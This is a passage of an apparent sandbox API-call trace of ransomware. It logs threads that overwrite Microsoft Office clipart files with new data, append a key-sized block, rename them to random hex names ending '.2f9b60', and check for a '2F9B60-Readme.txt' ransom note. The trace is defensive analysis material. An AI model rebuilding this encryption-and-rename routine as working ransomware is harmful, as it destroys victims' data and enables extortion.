RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a24e0 [0166.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d50 [0166.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866f40 [0166.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2540 [0166.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2540) returned 1 [0166.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2540 [0166.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2510 [0166.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2270 [0166.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2270) returned 1 [0166.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866f40) returned 1 [0166.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0166.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce12d70 [0166.069] SetFilePointerEx (in: hFile=0xfa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.069] WriteFile (in: hFile=0xfa0, lpBuffer=0x1ce12d70*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e7afdf0, lpOverlapped=0x0 | out: lpBuffer=0x1ce12d70*, lpNumberOfBytesWritten=0x1e7afdf0*=0x10a, lpOverlapped=0x0) returned 1 [0200.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ea40 [0200.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ea40) returned 1 [0200.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ea40 [0200.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eb60 [0200.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eb60) returned 1 [0200.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8040 [0200.178] sprintf (in: _Dest=0x1b7d8040, _Format="%c%c" | out: _Dest="2b") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8042, _Format="%c%c" | out: _Dest="28") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8044, _Format="%c%c" | out: _Dest="9a") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8046, _Format="%c%c" | out: _Dest="0f") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8048, _Format="%c%c" | out: _Dest="4d") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d804a, _Format="%c%c" | out: _Dest="7a") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d804c, _Format="%c%c" | out: _Dest="b1") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d804e, _Format="%c%c" | out: _Dest="17") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8050, _Format="%c%c" | out: _Dest="fe") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8052, _Format="%c%c" | out: _Dest="88") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8054, _Format="%c%c" | out: _Dest="1b") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8056, _Format="%c%c" | out: _Dest="ec") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8058, _Format="%c%c" | out: _Dest="97") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d805a, _Format="%c%c" | out: _Dest="bf") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d805c, _Format="%c%c" | out: _Dest="a1") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d805e, _Format="%c%c" | out: _Dest="3f") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8060, _Format="%c%c" | out: _Dest="f0") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8062, _Format="%c%c" | out: _Dest="c0") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8064, _Format="%c%c" | out: _Dest="1e") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8066, _Format="%c%c" | out: _Dest="04") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d8068, _Format="%c%c" | out: _Dest="de") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d806a, _Format="%c%c" | out: _Dest="be") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d806c, _Format="%c%c" | out: _Dest="a6") returned 2 [0200.178] sprintf (in: _Dest=0x1b7d806e, _Format="%c%c" | out: _Dest="4d") returned 2 [0200.178] RtlInitAnsiString (in: DestinationString=0x1e7afe68, SourceString="2b289a0f4d7ab117fe881bec97bfa13ff0c01e04debea64d" | out: DestinationString="2b289a0f4d7ab117fe881bec97bfa13ff0c01e04debea64d") [0200.178] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e7afe38, SourceString="2b289a0f4d7ab117fe881bec97bfa13ff0c01e04debea64d", AllocateDestinationString=1 | out: DestinationString="2b289a0f4d7ab117fe881bec97bfa13ff0c01e04debea64d") returned 0x0 [0200.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1cddf8a0 [0200.179] wcscat (in: _Dest=0x431e3da0, _Source="2b289a0f4d7a" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2b289a0f4d7a") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2b289a0f4d7a" [0200.179] wcscat (in: _Dest=0x431e3da0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2b289a0f4d7a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2b289a0f4d7a.2f9b60" [0200.179] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2b289a0f4d7a.2f9b60", NtPathName=0x1e7afe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2b289a0f4d7a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ed4a0 Thread: id = 1499 os_tid = 0x19c0 [0120.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20 [0122.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF", dwFileAttributes=0x20) returned 1 [0122.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x183c [0123.483] GetFileSizeEx (in: hFile=0x183c, lpFileSize=0x1e8ef7e0 | out: lpFileSize=0x1e8ef7e0*=1736) returned 1 [0123.483] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x6c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.483] ReadFile (in: hFile=0x183c, lpBuffer=0x1e8ef760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e8ef7a8, lpOverlapped=0x0 | out: lpBuffer=0x1e8ef760*, lpNumberOfBytesRead=0x1e8ef7a8*=0x4, lpOverlapped=0x0) returned 1 [0123.639] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df90 [0123.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2b0 [0123.639] NtQuerySystemTime (in: CurrentTime=0x1e8ef6a0 | out: CurrentTime=0x1e8ef6a0*=132462177290194000) returned 0x0 [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x4fcc480e [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x4fcc480e [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x71dcfb2 [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x2afaf6e9 [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x362050b [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x63a2eebc [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x2830fb70 [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x8d3ad9d [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x3d9cb961 [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x16a2488d [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x555ba489 [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x2ca2c973 [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x3afe266e [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x65a0834c [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x5b044009 [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x29a8a7c9 [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x2c8e51de [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x480e65f0 [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x431ba4fd [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x571b9c5f [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x64d6b1d2 [0123.639] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x600f0109 [0123.640] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x1fb912c3 [0123.640] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x465a6bb4 [0123.640] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x33375f5a [0123.640] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x23af7a19 [0123.640] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x44fcae09 [0123.640] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0xfd6f708 [0123.640] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x71c0c1d2 [0123.640] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x1f26312d [0123.640] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x7fa2200 [0123.640] RtlRandomEx (in: Seed=0x1e8ef690 | out: Seed=0x1e8ef690) returned 0x68b0f5e7 [0123.647] ReadFile (in: hFile=0x183c, lpBuffer=0x41f178d0, nNumberOfBytesToRead=0x6c8, lpNumberOfBytesRead=0x1e8ef690, lpOverlapped=0x0 | out: lpBuffer=0x41f178d0*, lpNumberOfBytesRead=0x1e8ef690*=0x6c8, lpOverlapped=0x0) returned 1 [0123.647] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.647] WriteFile (in: hFile=0x183c, lpBuffer=0x41edf0f0*, nNumberOfBytesToWrite=0x6c8, lpNumberOfBytesWritten=0x1e8ef694, lpOverlapped=0x0 | out: lpBuffer=0x41edf0f0*, lpNumberOfBytesWritten=0x1e8ef694*=0x6c8, lpOverlapped=0x0) returned 1 [0123.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f400 [0123.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f460 [0123.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f460) returned 1 [0123.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edf0f0) returned 1 [0123.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f178d0) returned 1 [0123.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505210) returned 1 [0123.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420599c0) returned 1 [0123.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050f460 [0123.883] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0123.883] WriteFile (in: hFile=0x183c, lpBuffer=0x167940*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e8ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x167940*, lpNumberOfBytesWritten=0x1e8ef7b0*=0x10a, lpOverlapped=0x0) returned 1 [0123.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0123.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0123.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f280) returned 1 [0123.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0123.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ded0 [0123.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ded0) returned 1 [0123.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0123.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.922] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="25") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="cc") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="2e") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="9f") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="65") returned 2 [0123.922] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="de") returned 2 [0123.922] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="96") returned 2 [0123.922] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="7f") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="08") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="a1") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="d9") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="9c") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="f1") returned 2 [0123.922] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="5e") returned 2 [0123.922] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="d1") returned 2 [0123.922] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="b8") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="09") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="95") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="3c") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="0d") returned 2 [0123.922] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="da") returned 2 [0123.922] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="aa") returned 2 [0123.922] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="4b") returned 2 [0123.922] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="39") returned 2 [0123.922] RtlInitAnsiString (in: DestinationString=0x1e8ef828, SourceString="25cc2e9f65de967f08a1d99cf15ed1b809953c0ddaaa4b39" | out: DestinationString="25cc2e9f65de967f08a1d99cf15ed1b809953c0ddaaa4b39") [0123.922] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e8ef7f8, SourceString="25cc2e9f65de967f08a1d99cf15ed1b809953c0ddaaa4b39", AllocateDestinationString=1 | out: DestinationString="25cc2e9f65de967f08a1d99cf15ed1b809953c0ddaaa4b39") returned 0x0 [0123.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8e50 [0123.923] wcscat (in: _Dest=0x202b1d70, _Source="25cc2e9f65de" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\25cc2e9f65de") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\25cc2e9f65de" [0123.923] wcscat (in: _Dest=0x202b1d70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\25cc2e9f65de.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\25cc2e9f65de.2f9b60" [0123.923] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\25cc2e9f65de.2f9b60", NtPathName=0x1e8ef7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\25cc2e9f65de.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106940 [0123.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106940) returned 1 [0123.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48040) returned 1 [0123.952] NtQueryInformationFile (in: FileHandle=0x183c, IoStatusBlock=0x1e8ef838, FileInformation=0x1e8ef848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e8ef838, FileInformation=0x1e8ef848) returned 0x0 [0123.952] NtSetInformationFile (FileHandle=0x183c, IoStatusBlock=0x1e8ef838, FileInformation=0x1e8ef848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1d70) returned 1 [0123.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8e50) returned 1 [0123.955] FlushFileBuffers (hFile=0x183c) returned 1 [0124.115] CloseHandle (hObject=0x183c) returned 1 [0124.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1370 [0124.116] wcscpy (in: _Dest=0x202b1370, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.117] wcscat (in: _Dest=0x202b1370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0124.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509c30) returned 1 Thread: id = 1500 os_tid = 0x19c4 [0120.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0122.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF", dwFileAttributes=0x20) returned 1 [0122.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1810 [0123.474] GetFileSizeEx (in: hFile=0x1810, lpFileSize=0x1eb9fe40 | out: lpFileSize=0x1eb9fe40*=12482) returned 1 [0123.474] SetFilePointerEx (in: hFile=0x1810, liDistanceToMove=0x30be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.474] ReadFile (in: hFile=0x1810, lpBuffer=0x1eb9fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1eb9fe08, lpOverlapped=0x0 | out: lpBuffer=0x1eb9fdc0*, lpNumberOfBytesRead=0x1eb9fe08*=0x4, lpOverlapped=0x0) returned 1 [0123.724] SetFilePointerEx (in: hFile=0x1810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d840 [0123.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dba0 [0123.725] NtQuerySystemTime (in: CurrentTime=0x1eb9fd00 | out: CurrentTime=0x1eb9fd00*=132462177291130000) returned 0x0 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x5efae7dc [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x6b59bb77 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x2e580f31 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x96f6d0e [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x26abc247 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x493ee380 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x6e463114 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x35f6a8b7 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x63112e3f [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x75e4130e [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x89ebd38 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x3c1633b1 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x7a47080 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x776c7ceb [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x4c4f3192 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x544fbe02 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x3f108c4c [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x710609cb [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x12d71655 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x254e1e96 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x334aa2b5 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x5f50ef02 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x4f34fd42 [0123.725] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x6ab88b02 [0123.726] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x28f88c09 [0123.726] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x7a47080 [0123.726] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x6cb4b04a [0123.726] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x79f90c [0123.726] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x3dceee4b [0123.726] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x6f90d80 [0123.726] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x2da7f3cc [0123.726] RtlRandomEx (in: Seed=0x1eb9fcf0 | out: Seed=0x1eb9fcf0) returned 0x6bc8f5f8 [0124.496] ReadFile (in: hFile=0x1810, lpBuffer=0x41d22d00, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x1eb9fcf0, lpOverlapped=0x0 | out: lpBuffer=0x41d22d00*, lpNumberOfBytesRead=0x1eb9fcf0*=0x30c2, lpOverlapped=0x0) returned 1 [0124.879] SetFilePointerEx (in: hFile=0x1810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.879] WriteFile (in: hFile=0x1810, lpBuffer=0x41edb4e0*, nNumberOfBytesToWrite=0x30c2, lpNumberOfBytesWritten=0x1eb9fcf4, lpOverlapped=0x0 | out: lpBuffer=0x41edb4e0*, lpNumberOfBytesWritten=0x1eb9fcf4*=0x30c2, lpOverlapped=0x0) returned 1 [0161.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3170 [0161.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 